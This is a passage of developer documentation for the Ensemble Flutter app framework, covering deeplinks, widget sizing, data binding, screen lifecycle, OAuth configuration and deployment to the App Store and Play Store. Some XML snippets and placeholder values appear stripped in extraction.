Capabilities" associated domain + - Configure Info.plist for adding branch keys (Test and Live) and Links (Test and Live) + - Add Custom URL Scheme in the URL types of Info.plist + +### Module (ensemble_deeplink) +Enable Deeplink service in Ensemble code + +By default, Ensemble does not include the deeplink module to avoid installing unnecessary packages. Here, we uncomment a few lines of code to get the necessary packages. + +Inside the directory where you cloned Ensemble Starter, open `/lib/generated/ensemble_modules.dart`. + +* Search for this line and uncomment it: +``` +// import 'package:ensemble_deeplink/deferred_link_manager.dart'; +``` + +* Search for this line and uncomment it: +``` + // GetIt.I.registerSingleton(DeferredLinkManagerImpl()); +``` + +* Search for this line and set it to true +``` + static const useDeeplink = false; +``` + +--- + +#### Initialize Branch SDK +1. In the ensemble project, Initialize your branch SDK using the ```deeplinkInit``` action + +```yaml +deeplinkInit: + provider: branch + options: + useTestKey: true + enableLog: true + disableTrack: false + onSuccess: | + //@code + console.log("BranchSDK:: initialized successfully"); + onLinkReceived: | + //@code + console.log("BranchSDK:: Branch Link Received: " + event.data.link); + onError: | + //@code + console.log("BranchSDK:: Failed to initialize" + event.error); +``` + +2. Create branch deep link using the ```createDeeplink``` action + +```yaml +Button: + label: Create Branch Link + onTap: + createDeeplink: + provider: branch + universalProps: + id: item/12345 + title: My Content Title + contentDescription: My Content Description + imageUrl: https://ensembleui.com/mycontent-123.png + contentSchema: product + linkProps: + channel: ensembleui + feature: Sharing + campaign: content launch + stage: New User + tags: [data, fsdf, sdd] + controlParams: + ref: 1234 + name: Ensemble + onSuccess: | + //@code + console.log("BranchSDK:: Link created successfully: " + event.data.result); + onError: | + //@code + console.log("BranchSDK:: Failed to create a link" + event.error); +``` + +--- + + +# Embed Flutter screen in an Ensemble app + +Ensemble allows you to navigate to a screen built with Flutter. This allows you to reuse any existing Flutter screen. + + + +## How it works. + +This is our beloved counter widget. Let's see how you can specify this widget and call it in your Ensemble App. + +```dart +class CounterWidget extends StatefulWidget { + const CounterWidget({ + super.key, + this.message, + }); + + final String? message; + + @override + State createState() => _CounterWidgetState(); +} + +class _CounterWidgetState extends State { + int counter = 0; + + void _incrementCounter() { + setState(() { + counter++; + }); + } + + @override + void initState() { + super.initState(); + } + + @override + Widget build(BuildContext context) { + return Scaffold( + appBar: AppBar( + backgroundColor: Theme.of(context).colorScheme.inversePrimary, + title: const Text('Flutter Page'), + ), + floatingActionButton: FloatingActionButton( + onPressed: _incrementCounter, + tooltip: 'Increment', + child: const Icon(Icons.add), + ), + body: Center( + child: Column( + mainAxisAlignment: MainAxisAlignment.center, + children: [ + Text( + widget.message ?? 'You have pushed the button this many times:', + ), + Text( + '$counter', + style: Theme.of(context).textTheme.headlineMedium, + ), + ], + ), + ), + ); + } +} + +``` + + +First we need to specify a map of name and builder widget. The builder has context and args as parameters. +The args are basically passed using `navigateScreen`'s inputs. + + +```dart +void main() async { + WidgetsFlutterBinding.ensureInitialized(); + Ensemble().setExternalScreenWidgets({ + 'counterScreen': (context, args) { + final message = args?['message']; + return CounterWidget(message: message); + }, + }); + runApp(const EnsembleApp()); +} +``` + +Now, the ensemble framework know about external screen named `counterScreen`. We can now navigate to external screen like following. + +```yaml +Button: + label: Navigate external screen + onTap: + navigateScreen: + name: counterScreen + external: true + inputs: + message: Hello world + +``` + +--- + +# Using local assets + +While developing and previewing your app, you may reference images via URLs. While this is great for rapid prototyping, production Native apps may want to minimize rendering time by referencing assets locally. This is where Environment Variables come in. + +Environment variables can be used for many purposes. You define them in your App's setting on [Ensemble Studio](https://studio.ensembleui.com/) and referencing them any where in your pages with `${env.my_env_variable_name}`. Ensemble also allow you to override these variables in production. This technique allows Ensemble to serve assets locally. + +### Define the environment variables + +Navigate to your App's setting and add an environment variable. +Add Environment Variable + +### Using the environment variables + +Any screens can reference the variable with `${env.variable_name}`. Here we prefix the image with the `imageBaseUrl`. +Add Environment Variable + +### Override environment variables to load images locally + +When building Production app (see [Preparing your App](#preparing-your-app-for-deployment), you can load this image locally instead of via URL. + +- Add the assets under folder `/ensemble/assets/`. +- Open `/ensemble/ensemble-config.yaml` and add a matching environment variable that you defined on Ensemble Studio. Leave the value empty (if all your assets are directly under /ensemble/assets). +- Note: define the variable name but with empty value will attempt to load assets from `/ensemble/assets/`. + +--- + +# Understanding Widget Sizing +Widget sizing is a crucial aspect of building responsive UIs in Ensemble. In this guide, we'll explore the challenges of widget sizing, common solutions, and best practices to help you create layouts that look great on any screen. + +## Core Concepts +#### Parent Constraints +In Ensemble, widget sizing is governed by a system of constraints passed down from parent widgets to their children. These constraints define the minimum and maximum sizes a widget can take on the screen. + +Starting from the root (the screen dimension), constraints are passed down the layout tree to determine the size of each widget. Most widgets, if themselves receive constraints from their parent, will recalculate the constraints (e.g. subtract padding from the available space) and pass them down to their children. A widget may come up with its own size, but it will always be bounded by the constraints provided by its parent. + +**Note**: *Any widget that does not receive constraints from its parent will not be able to pass the constraints down to its children.* + +**Parent widgets that do not provide constraints to their children:** +- *Row does not provided the **width constraint** to its children. Any children of Row must be able to determine their own width, or an error may occur.* +- *Similarly Column does not provide the **height constraint** to its children* +- *Stack does not provide **width nor height constraint** to its children.* +- *Scrollable widgets (e.g ListView, Screen with scrollableView = true) do not provide constraints to their children in the **scrollable direction**.* + +#### Widget with Intrinsic Sizes +Some widgets can automatically determine their own dimensions based on their content or specific properties. These widgets are straightforward to use because they require minimal configuration to look right. + +**Examples:** Text, Image, Icon, .. +```yaml +# Text sizes itself based on the text and the applied styles +Text: + text: Hello Ensemble ! + styles: + fontSize: 16 +``` +**Note**: *just because a widget can determine its own size doesn't mean it will get the size it needs. The final sizing will be bounded by the constraints (minimum/maximum width and minimum/maximum height) provided by the parent widget.* + +#### Widgets without Intrinsic Sizes +Conversely, some widgets cannot determine their sizes (or it may not make sense to). These widgets rely on their parent to provide the sizing constraints. Without the constraint an error will occur, and the system will attempt to give you warnings. If the warning system misses this, the screen may be rendered as a blank screen. + +**Examples:** Divider, Map, TextInput (width), .. +```yaml +# Column does not provide height constraint to its children, +# so Map will not have a height and cannot be rendered +Column: + children: + - Map: +``` + +## Sizing Challenges and Solutions +**Challenge 1**: Managing Unbounded Sizes
+When a widget does not have an intrinsic size nor receives explicit constraints from its parent, it faces an "unbounded size" problem. + +Example: When a TextInput is inside a Row.
+TextInput does not have a width and rely on the parent to provide a width constraint, which the Row does not provide.
+Solution: Set the width on the TextInput, or use FlexRow as the parent. FlexRow will stretch itself to fill its parent's width constraint, and in turn provide a constraint to the TextInput. + +Example: When a FlexColumn is inside a 'Screen with scrollableView=true'.
+A FlexColumn doesn't calculate its height from the children so it does not have a height. Instead it will attempt to stretch to fill the available height constraint provided by the parent. This will produce an error since the scrollable Screen cannot provide a height constraint.
+Solution: Ensure every widget in a scrollable direction has a size. In this case simply use a Column instead of a FlexColumn. A Column will calculate its height from the children, forgo the need for a height constraint. + +--- + +# Item Template + +When developing UI, it is common to display lists of items, and Ensemble simplifies this process by providing the `item-template` property. When used within certain containers (e.g. Column, Carousel, Grid, ..), you can iterate through a data set and render a set of child widgets. + +`item-template` takes the following properties: + +| Property | Type | Description | +| -------- |--------------------|----------------------------------------------------------------------------------------------------------------------------------------------------------------| +| data | array | Bind to an array of data from an API response or a variable | +| name | string | Variable name referencing each item in the array. Name it as per your use case (e.g. 'person', 'item' ..) | +| template | [Widget](#widget-directory) | Define the child widget to render for each item in the array. Within this widget you can bind to the item using the `name` syntax (e.g. `${person.firstName}`) | +| indexId | string | (optional) Default: index. The property that will be assigned the current index of the data array while looping through it | + +Different containers may expose additional properties to further customize the rendering of the children, but they will always have the `data` and `name`. + +### Basic Usage +To demonstrate the basic usage of `item-template`, Below we hardcode a list of names and render each as a Text widget. These text widgets will be displayed vertically one after another because they are inside a Column parent, with a gap of 10 in between. +```yaml +Column: + styles: + gap: 10 # gap between each child + item-template: + data: ["John", "Mary", "Peter"] + name: name + template: + Text: + text: Hello ${name} +``` +The output will look something like this: +Screenshot + +### Binding to API data +In a real-world scenario, you would bind to data from an API response. Below is the shorten JSON payload from hitting "https://randomuser.me/api/?results=5". We'll be using this to render our UI. +```json +{ + "results": [ + { + "name": { + "title": "Mrs", + "first": "Lya", + "last": "Brun" + }, + "picture": { + "large": "https://randomuser.me/api/portraits/women/9.jpg", + "medium": "https://randomuser.me/api/portraits/med/women/9.jpg", + "thumbnail": "https://randomuser.me/api/portraits/thumb/women/9.jpg" + }, + }, + ... (more entries) ... + ], +} +``` +Let's update our definition to fetch the API on page load, then show each person's photo and name in a Carousel. + +```yaml +View: + styles: + useSafeArea: true + # call the API upon loading the screen + onLoad: + invokeAPI: + name: getRandomUsers + body: + Carousel: + styles: + layout: multiple + height: 150 + multipleItemWidthRatio: .3 + indicatorType: circle + item-template: + # bind to API's response body, then access the 'results' array within it + data: ${getRandomUsers.body.results} + # name each item in the array as 'person' + name: person + template: + Column: + styles: + crossAxis: center + gap: 10 + children: + - Image: + styles: + width: 60 + height: 60 + borderRadius: 1000 + borderColor: grey + # the JSON response + source: ${person.picture.medium} + - Text: + styles: + textAlign: center + text: ${person.name.first} ${person.name.last} + +API: + getRandomUsers: + url: https://randomuser.me/api/?results=5 +``` +The output will look something like this: +Screenshot + +Here's an [example](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/yWM8nLePITT8IpCZLMNe) of how to use `indexId` property to access the current index of the data array. + +--- + +# Data Binding +Data binding allows you to bind data from various sources to your UI components. Any changes to applicable data sources will automatically update the UI components. Data Binding is also used when passing variables to API, Widgets, and Actions (among others). + +The syntax for binding is `${bindingSource}`, and can be used anywhere a text or an expression is accepted. + +### Binding to an editable widget +Ensemble makes it easy to listen for changes to any widget's properties. In the example below, we defined a TextInput and give it an id "myInput". We then created a readonly Text and bind its text property to the TextInput, prefixed with "You entered". As you are making changes to the TextInput and the focus leaves, TextInput will dispatch its changes to all listeners, causing the readonly Text to re-render its content. +Screenshot + +(to be updated ...) + +--- + +# Screen Lifecycle +An Ensemble app consists of a series of screens, each with its own lifecycle that defines how it renders, pauses, resumes, and disposes of resources. You can provide actions to be triggered at each of these lifecycle stages. + +### onLoad +This stage is triggered when the screen is first loaded and the body widget has been rendered. At this point, you will have access to all widget IDs (if specified). This is an ideal place to initialize your screen's states and invoke APIs. + +### onPause +This stage is triggered when the screen is no longer active. This could be due to the user navigating to another screen or, in native applications, the app moving to the background. In the latter case, the OS may terminate the app if the Action takes too long to process or uses excessive resources, so it is recommended to execute actions that will complete promptly. + +`onPause` includes the following payload (accessible via `event.data.*`): +| Property | Type | Description | +| :----------- | :------ | :------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | +| isAppPause | boolean | This will be true if the app (Native only) is causing onPause to be called because it is going to the background (or the user is switching to another App). Use this to differentiate from the user navigating to another screen. | + + +### onResume +This stage is triggered when the screen becomes active again after having previously been inactive. This could be due to the user navigating back to the screen or the app (native only) coming to the foreground. + +Note that this will not be triggered if you navigate to another instance of the same screen. In other words, only navigating back (or switching screens using the bottom navigation bar) will trigger this. + +`onResume` has the following payload (accessible via `event.data.*`): +| Property | Type | Description | +| :----------- | :------ | :------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | +| inactiveDuration | number (ms) | Specifying how long the screen has been in inactive state (in milliseconds). This is useful for tracking how long the screen has been inactive and re-fetching the data. Note that we may not always able to determine this, so it may be null. | +| isAppResume | boolean | This will be true if the app is causing onResume to be called because it is going to the foreground (the user is opening your app). Use this to differentiate with the user navigating back to your screen. | + +--- + +# Custom Widgets +In addition to Ensemble-provided widgets and containers, you can create custom widgets to extend the functionality of your app. Custom widgets can be used to encapsulate complex logic, create reusable components, or integrate with third-party libraries. + +Custom Widgets can be created and used within a Screen or globally across multiple screens. + +(to be continued ...) + +### Screen-level Custom Widgets + + +### App-level Custom Widgets + +--- + +# Preview your app + +Your apps are available for preview on web, and iOS and Android devices. Share it with your QA, Product Managers, customers, ... for early feedbacks. + +## Preview on iOS and Android + +First, download Ensemble Preview app by scanning this QR Code: + +
+ +![QR code for Ensemble Preview](public/images/app-qr.png) + +
+ + +or select your platform here: + + +Download on the App Store + +Get it on Google Play + +Now follow these steps to preview your app: + +1. Log in to Ensemble Studio. +2. Click on the app you want to preview. +3. Click Settings on the left sidebar. Here you find the app ID and a QR code. +4. Open Ensemble Preview app and select the option to scan the QR code on the settings page. + + +## Preview on web + +1. Log in to Ensemble Studio. +2. Locate the app you want to share, and click the `...` menu. +3. Select Get Preview Link. +4. The preview link is now copied to your clipboard. Paste it in the browser or share with others to run your app on web. + +--- + +# Automated Testing + +Ensemble apps support automated testing using Flutter's integration testing framework. You can easily find and interact with widgets in your tests using the `testId` property. + +## Adding testIds to your widgets + +Add `testId` properties to widgets in your YAML to make them findable in tests: + +```yaml +Button: + testId: navigate_button + label: Navigate to Goodbye Screen + onTap: + navigateScreen: + name: Goodbye +``` + +## Writing integration tests + +The [starter project](https://github.com/EnsembleUI/ensemble/tree/main/starter) includes an example integration test at [`integration_test/app_test.dart`](https://github.com/EnsembleUI/ensemble/blob/main/starter/integration_test/app_test.dart) that demonstrates: + +- Finding widgets by testId using `find.byKey(ValueKey('testId'))` +- Interacting with widgets (tap, enter text, etc.) +- Navigating between screens +- Verifying widget states + +Here's a simplified example: + +```dart +import 'package:flutter_test/flutter_test.dart'; +import 'package:integration_test/integration_test.dart'; +import 'package:ensemble_starter/main.dart' as app; + +void main() { + IntegrationTestWidgetsFlutterBinding.ensureInitialized(); + + group('Ensemble App Testing', () { + testWidgets('Test navigation flow', (WidgetTester tester) async { + app.main(); + await tester.pumpAndSettle(); + + // Find widgets by testId + final buttonFinder = find.byKey(ValueKey('navigate_button')); + expect(buttonFinder, findsOneWidget); + + // Interact with widgets + await tester.tap(buttonFinder); + await tester.pumpAndSettle(); + + // Verify navigation worked + final secondScreenTextFinder = find.byKey(ValueKey('goodbye_title')); + expect(secondScreenTextFinder, findsOneWidget); + }); + }); +} +``` + +## Running tests + +Run your integration tests with: + +```bash +flutter test integration_test/app_test.dart +``` + +For more information on Flutter integration tests, see the [Flutter Testing documentation](https://docs.flutter.dev/testing/integration-tests). + +--- + +# Preparing your App for deployment + +Once you have built your UI with Ensemble and used it to build your app and are ready to take it to production, follow these instructions to deploy it to any iOS or Android devices, or to submit it to the Apple AppStore or Google Play Store. + +### Prerequisites +* Your Ensemble App ID. From [Ensemble Studio](https://studio.ensembleui.com), go to your App's Settings screen to retrieve the App ID. + +### Download Ensemble Starter +Ensemble Starter is our packaging solution, enabling you to connect to your Ensemble UI and package it. +* Clone the Starter App `git clone https://github.com/EnsembleUI/starter my_first_app` into the folder *my_first_app*. You may change the name, but don't use camelCase (e.g. myFirstApp) or dash (-) as the separators. +* Follow the README in this repo. + +### Requesting permissions from your end-users +If your app requires capabilities like location, camera, ..., you will need to enter a reason per capability. These reasons will be prompted to the end users, who can decide whether to grant or deny your requests. +* For iOS, edit `/ios/Runner/Info.plist` and add the below permissions as the direct children of the `` tag. +* For Android, edit `/android/app/src/main/AndroidManifest.xml` and add the below permissions as the direct children of the `` tag. + +Below are the snippet per capability to insert for iOS and Android respectively. + +**Location** +```xml +NSLocationWhenInUseUsageDescription +e.g. This app needs access to your location to .... +``` + +**Camera** +```xml +NSCameraUsageDescription +e.g. your reason for requesting camera access + +NSMicrophoneUsageDescription +e.g. your reason for requesting microphone access +``` + + +--- + +## Configure Social Sign In for Deployment +Before deployment, you need to configure your own OAuth credentials plus specific setups for each platforms. + +### Setting up Sign In credentials +On Google's API Console, create your OAuth client ID for each platform (i.e. iOS, Android, Web). + +For `iOS`, enter the bundle ID of your App. + +Google iOS client ID + +For `Android`, use Web Application type (don't use Android type). You can leave Authorized Origins and Redirect URIs blank. + +Google Android client ID + +For `Web`, use Web Application type. +- Authorized Origins should be your domain (e.g. https://mycompany.com). You can also use localhost while in development (e.g. http://localhost:3000). +- Redirect URIs can be empty. + +webclient ID + +Using a code or text editor, open `/ensemble/ensemble-config.yaml` and enter these credentials. + +```yaml +... +services: +  signIn: +    providers: +      google: +        iOSClientId: +        androidClientId: +        webClientId: +``` + +#### Setting up iOS +On Google's API Console, open the OAuth client ID for iOS and look for the `iOS URL Scheme` under Additional Information. + +Open `/ios/Runner/Info.plist` with a code editor, look for the block below and replace the value with your iOS URL Scheme. + +```yaml + + CFBundleURLTypes + + + + CFBundleTypeRole + Editor + CFBundleURLSchemes + + your_iOS_URL_scheme_here + + + +``` + +#### Setting up Android +There is no additional setup required for Android. + +#### Setting up Web +In the `web/index.html` file, look for the block below and replace the value with your Web client ID. +```html + +``` + + + + + +### Enable Auth service in Ensemble code + +By default, Ensemble does not include the authentication module to avoid installing unnecessary packages. Here, we uncomment a few lines of code to get the necessary packages. + +* Under pubspec.yaml. Uncomment the Auth module block, then run `flutter pub get`. +```yaml + # Uncomment to enable Auth service + ensemble_auth: + git: + url: https://github.com/EnsembleUI/ensemble_module_auth.git + ref: main +``` + +* Uncomment and update the following lines in `/lib/generated/ensemble_modules.dart`. Try running it with `flutter run` +``` +... +import 'package:ensemble_auth/auth_module.dart'; +... +static const useAuth = true; # set to true +... +if (useAuth) { + // Uncomment to enable Auth service + AuthModuleImpl().init(); +} else { + AuthModuleStub().init(); +} +... +``` + +--- + +# Deploy to iOS TestFlight +Note: we are showing here how to deploy your app to Apple TestFlight. Please follow Apple's [documentation](https://developer.apple.com/app-store/submitting/) on how to deploy to the App Store. +#### Register app +If this is a brand-new app, you first need to register a unique Bundle ID and a unique App Name with Apple. +1. [Register the Bundle ID](https://developer.apple.com/account/resources/identifiers/bundleId/add/bundle) `e.g. com.mycompany.appname`. This is important and cannot be changed later on. You'll also need this ID later in this document. + +Add Bundle ID + +2. [Create a New App](https://appstoreconnect.apple.com/apps) using a unique App Name and this Bundle ID. The App Name is how your app will eventually be searchable and appear in the App Store. + +Add App + +#### Preparing Ensemble for uploading +* Make sure you completed the [Preparing your App](/pages/deploy/1-prepare-app.md) step, including following the starter repo's README instruction to configure and run your App. +* Navigate to the app folder (e.g. my_first_app). +* Under `ios` folder, open `Runner.xcworkspace` with [XCode](https://developer.apple.com/xcode/). + * Select the Team (Apple Account) used to create the App and Bundle ID. You may need to log in to your Apple Developer Account under XCode > Preferences > Accounts. + * Under `Signing & Capabilities`, ensure the `Bundle Identifier` matches exactly your Bundle ID above. + Update App configs + + * Under `Info`, find the `Bundle display name` key and update its value to your desire name (e.g. My First App). This is the name that shows up once your App has been installed. This doesn't have to exactly match your App Name, and can be shorter so its name is not cut off under the App icon. + Add App + +* Run `flutter build ipa --no-tree-shake-icons`. This will create the ipa file at /build/ios/ipa/my_first_app.ipa. +* Download Apple’s [Transporter](https://apps.apple.com/us/app/transporter/id1450874784?mt=12) and login with the same Apple account. Drop the ipa file into the Transporter App then click Deliver. + * This may take 5-10 minutes AFTER upload completes before the build shows up under `Your App Name > TestFlight` tab, plus another 10-15 minutes to complete processing. +* Click to manage Apple's app compliance by answering the questions. + Update App configs +* You can now invite your team members to install your App under `Internal Testing`. Each person can download the app via TestFlight. + +--- + +# Connecting to OAuth services (Optional) + +Ensemble supports authorizing and fetching data from OAuth2 services like Google and Microsoft. The entire flow is handled automatically if you are using Ensemble Go to preview your app. + +When deploying your Production App and you'd like to use OAuth Services, please follow these instructions to configure your back-end server to work with Ensemble's UI. + +## App Redirect +When an OAuth flow is initiated within the UI, Ensemble will redirect the users to the appropriate OAuth service's login page. Once the users enter their username/password and authorize your app, the OAuth service will invoke a callback URL (known as Redirect URL) that your app defines. This Redirect URL will re-open your app and continue the OAuth flow. + +The Redirect URL to open your App can be a Http App Link or a Custom Scheme (non-http). + +### Custom Scheme +#### iOS +- Look for `CFBundleURLTypes` inside the ios/Runner/Info.plist and update accordingly. + - `CFBundleURLName` - By convention match this with your bundleID + - `CFBundleURLSchemes` - When registering with the OAuth services, they may give you a unique string or enable you to enter your own. The scheme follows this format `some.globally.unique.scheme://`. This has to be unique so it doesn't clash with any other apps out there. + - Enter only the portion before the `://`. +``` +CFBundleURLTypes + + + CFBundleURLName + com.mycompany.myapp + CFBundleURLSchemes + + some.globally.unique.scheme + + + +``` + +#### Android +- Open `android/app/src/main/AndroidManifest.xml`. Look for the callback Activity and add an `intent-filter` for your callback. +- e.g. if your callback URL looks like this `some.globally.unique.scheme://authorize`, the android:scheme should be `some.globally.unique.scheme`, and android:host should be `authorize`. +``` + + + + + + + + + + + + + +``` + + +### Http App Link +Using a URL to redirect and open your App requires two steps for each platform: 1. adding a configuration similar to the custom schemes above, and 2. prove that you own the redirect URL's domain. +#### iOS +- Open `ios/Runner/Runner.entitlements` and add an entry for the URL you want to redirect to your App. Note the required prefix `applinks:`. +- For example, if your want the URL `https://auth.mycompany.com/callback` to open your app. Enter only the domain to the URL below. +``` + + com.apple.developer.associated-domains + + + applinks: .... + + + applinks:auth.mycompany.com + + +``` + +- Prove that you own the domain URL above by uploading the json file below to your domain (or subdomain - depending what you used). + - The file should be called `apple-app-site-association` and served with Content-Type of `application/json`. + - The file can be at the root of your server or under a folder called `.well-known`. + - Using the example URL above, add `/callback` to the paths. +``` +{ + "applinks": { + "apps": [], + "details": [ + { + "appID": ".", // e.g. 3GHDU3434.com.mycompany.myapp + "paths": ["/"] // e.g. /callback + }, + { + .. other Apps and paths here ... + } + ] + } +} +``` + +#### Android +- Open `android/app/src/main/AndroidManifest.xml`. Look for the callback Activity and add an `intent-filter` for your callback. + - android:host is the URL domain or subdomain that will open the app, while android:pathPrefix is the path after the domain. + - For example, use the below if your want the URL `https://auth.mycompany.com/callback` to open your app. +``` + + + + + + + +``` +- Prove that you own the domain URL above by uploading the json file below to your domain (or subdomain - depending what you used). + - The file should be called `assetlinks.json` and served with Content-Type of `application/json`. + - The file can be at the root of your server or under a folder called `.well-known`. + - Get your app's SHA256 by going to Google Play's developer console. +``` +[ + { + "relation": ["delegate_permission/common.handle_all_urls"], + "target": { + "namespace": "android_app", + "package_name": "com.mycompany.myapp", + "sha256_cert_fingerprints": [ + "", + ] + } + } +] +``` + +## Server component +Once the OAuth service successfully authenticates the user and redirect back to our App, we will be making a call to your server and pass the OAuth code. Your service will be exchanging this code for the access/refresh token. +- We provide the sample server code in Node (deployable with Firebase). +- Open `ensemble/ensemble-config.yaml` and go to `services -> apiAuthorization`. + - Replace the `tokenExchangeServer` + +--- + +# Deploy to Android devices + +* Make sure you completed the [Preparing your App](/pages/deploy/1-prepare-app.md) step, then navigate to the folder created (e.g. my_first_app). +* Run `flutter create --platforms=android .` (note the period at the end) +* Run `flutter build apk --no-tree-shake-icons` to build the APKs (destination is /build/app/outputs/flutter-apk/). +* Connect your Android device to your computer, then run `adb install build/app/outputs/flutter-apk/app-release.apk`. + + +### Customizing your App +* Play Store requires each app to have a unique app ID, which cannot be changed after your submit your App. + * To update the app ID, open `/android/app/build.gradle`. Go to `android > defaultConfig > applicationId` and update the value. + * Remove `/android/app/src/main/AndroidManifest.xml`. + * Run `flutter create --platforms=android .`. +* To update the app's name. Open `/android/app/src/main/AndroidManifest.xml` and change the `android:label=` to the app name. + +--- + +# Deploy to Android Play Store + +## Pre-requisites +* Make sure you completed the [Preparing your App](/pages/deploy/1-prepare-app.md) step, then navigate to the folder created (e.g. my_first_app). +* Sign your Android app's release version. The below is a demonstration and maybe out-of-date. Please follow Android's latest documentation for up-to-date information. + * Generate a release key using Java's keytool + * Run `keytool -genkey -v -keystore ~/.jks -keyalg RSA -keysize 2048 -validity 10000 -alias ` + * Replace and to your liking. The tool will also ask you to choose the passwords. + * Under the /android folder, create a file called `key.properties`(DO NOT check this in) and populate these required values: +``` +storePassword= +keyPassword= +keyAlias= +storeFile= +``` + * Open `/android/app/build.gradle`. Under `android > buildTypes > release`, enter `signingConfig signingConfigs.release`. + +## Uploading your build +* Navigate to the folder for your project (e.g. my_first_app). +* Open the file `pubspec.yaml` and look for `version` e.g. version: 1.0.0+1. The last number is the build number which has to be unique on every upload. Simply increment it for each production build. +* Run `flutter build appbundle --no-tree-shake-icons`. This will create the bundle file under `build/app/outputs/bundle/release/app-release.aab`. +* Log into your [Play Store console](https://play.google.com/console) and go to your App. Select your release and upload the `.aab` file. + +## Updating your Play Store app. +* Once your app has been approved and live on the Play Store, follow these instructions for subsequent updates: + * Run `flutter pub upgrade` to upgrade Ensemble dependencies. This may include framework's bug fixes as well as new widget additions. + * If you are using Ensemble-hosted definitions, you already have the latest page definitions. +* Increment the version (the one after the + sign) in `pubspec.yaml`. +* Run `flutter build appbundle --no-tree-shake-icons`. This will create the bundle file under `build/app/outputs/bundle/release/app-release.aab`. +* Log into your [Play Store console](https://play.google.com/console) and go to your App. Select your release and upload the `.aab` file. + +--- + +# Prepare for Production + +Now, that you have built and tested an ensemble app, you would like to publish. Before publishing your app, it is recommended to make it production-ready. + +This guide covers covers the following topics. + +- **Adding a launcher icons** +- **Adding native splash screen** + +## Adding a launcher icons + +Launcher icons are required as the visual representation of the app on the device's home screen and app drawer, helping users quickly identify and launch the app. + +Currently, the Flutter logo serves as the default icon. Let's see how to replace it with your product's logo. + +We'll be using a package called fluter launcher icons from [pub.dev](https://pub.dev/packages/flutter_launcher_icons). + +- First add the package as dev dependency in `pubspec.yaml`. +```yaml +dev_dependencies: + flutter_launcher_icons: any +``` + +- Add launcher icon configuration inside `pubspec.yaml` +```yaml +flutter_icons: + android: "launcher_icon" + ios: true + # Add path to your icon image. + image_path: "assets/icon/icon.png" + web: + generate: true + image_path: "path/to/image.png" + background_color: "#hexcode" + theme_color: "#hexcode" +``` + +- Run the following command in terminal, to update native launcher icons with above configuration +```bash +flutter pub get +flutter pub run flutter_launcher_icons +``` + +For more nitty-gritty detail check [flutter_launcher_icons#book-guide](https://pub.dev/packages/flutter_launcher_icons#book-guide) + + +## Adding Native Splash screen + +When launching an app, a splash screen is the initial display that a user sees. By default, a native app shows a white screen, but with a splash screen, you can showcase your brand or product logo, and provide the user with a visual cue that the app is in the process of loading. + +We'll be using a package called fluter native screen from [pub.dev](https://pub.dev/packages/flutter_native_splash). + +To add a splash screen to your app, these steps should be followed: + +- First add the package as dev dependency in `pubspec.yaml`. +```yaml +dev_dependencies: + flutter_native_splash: any +``` + +- Add splash screen configuration inside `pubspec.yaml` +```yaml +flutter_native_splash: + + # color or background_image is the only required parameter. + # Only one parameter can be used, color and background_image cannot both be set. + color: "#hexcode" + #background_image: "assets/background.png" + + # The image parameter allows you to specify an image used in the splash screen. It must be a + # png file and should be sized for 4x pixel density. + #image: assets/splash.png + + # The branding property allows you to specify an image used as branding in the splash screen. + # It must be a png file. It is supported for Android, iOS and the Web. For Android 12, + # see the Android 12 section below. + #branding: assets/dart.png + + # To position the branding image at the bottom of the screen you can use bottom, bottomRight, + # and bottomLeft. The default values is bottom if not specified or specified something else. + #branding_mode: bottom + + # Dark theme parameters, if not set above params will be used. + #color_dark: "#042a49" + #background_image_dark: "assets/dark-background.png" + #image_dark: assets/splash-invert.png + #branding_dark: assets/dart_dark.png +``` + +- Run the following command in terminal, to update native slash screen setting with above configuration +```bash +flutter pub get +flutter pub run flutter_native_splash:create +``` + +Re-run your app and you'll see newly added splash screen. + +For more nitty-gritty detail check [flutter_native_splash#usage](https://pub.dev/packages/flutter_native_splash#usage) + +--- + +# Making your app work when offline + +You can embed your app definition in your build output so that your app works without network connectivity. Note that once you make this change, you will not have the ability to change the app from Ensemble Studio. + +## Prerequisites + +* You have completed the [Prepare your app for deployment step](#preparing-your-app-for-deployment). +* You have a text or code editor on your machine. We recommend [VS Code](https://code.visualstudio.com/). + +## Step 1. Create a folder for your app + +In your local directory where you cloned Ensemble Starter, navigate to `/ensemble/apps` folder. Create a new folder with your desired name, and no spaces. + +This name will not be customer-facing. + +Local app folder + +## Step 2. Copy your app artifacts + +To work in local mode, you can obtain your app artifacts from either **Ensemble Studio** or the **Desktop app**. +#### Option 1: Downloading Artifacts from Ensemble Studio + +1. Open **Ensemble Studio**. +2. Click the `...` menu button for your app. +3. Select **Download Beta** to download all the app artifacts. +4. Once downloaded, locate the app folder. +5. Copy the entire folder (with the above structure). +6. Paste the folder into the `/ensemble/apps` directory you created. + +#### Option 2: Obtaining Artifacts from the Desktop App + +To obtain local artifacts from the Desktop app, pull the app directly into the `/ensemble/apps` folder in your local directory where you cloned the Ensemble Starter. + +Follow this [guide](#pulling-from-cloud-to-local) to pull the app from the Desktop app. +Once obtained, copy and paste the downloaded folders into the `/ensemble/apps` folder you created. + +The downloaded app will already have the following structure: + +``` +/ +├── assets/ +├── fonts/ +├── scripts/ +├── widgets/ +├── screens/ +├── translations/ +├── config/ +│ ├── appConfig.json +│ ├── secrets.json +├── theme.yaml +├── .manifest.json +``` + + +## Step 4. Update your app to read the definitions locally + +In your local directory where you cloned Ensemble Starter, open `/ensemble/ensemble-config.yaml` file with your desired code or text editor and make the following updates: + +- At the top, set `from: local` under `definitions`: + +```yaml +definitions: + # where your page definitions are hosted ('local', 'remote' or 'ensemble') + from: local +``` + +- Then set the `appId` and `appHome` properties under `local` + +```yaml + local: + path: ensemble/apps/ + appId: myApp # this is the name of the folder you created in step 1 + appHome: MyHomeScreen # this is the name of the screens that should be rendered first when your app id launched +``` +- Under `i18n` update the `path` to match your app’s name `ensemble/apps/yourAppName/translations`. +```yaml + i18n: + # Directory where all the translation files (e.g. en.yaml, es.yaml) reside. + # Translation will be disabled without the path. + path: ensemble/apps/helloApp/translations/ +``` +## Step 5. Update starter `pubspec.yaml` +Add the necessary paths under `flutter -> assets` to ensure your app loads all required files and folders correctly: + +```yaml +flutter: + assets: + # list all your Apps directories here. It's a Flutter requirement + - ensemble/apps/``/ + - ensemble/apps/``/screens/ + - ensemble/apps/``/widgets/ + - ensemble/apps/``/scripts/ + - ensemble/apps/``/assets/ + - ensemble/apps/``/translations/ + + # # config folder contains appConfig.json and secrets.json + 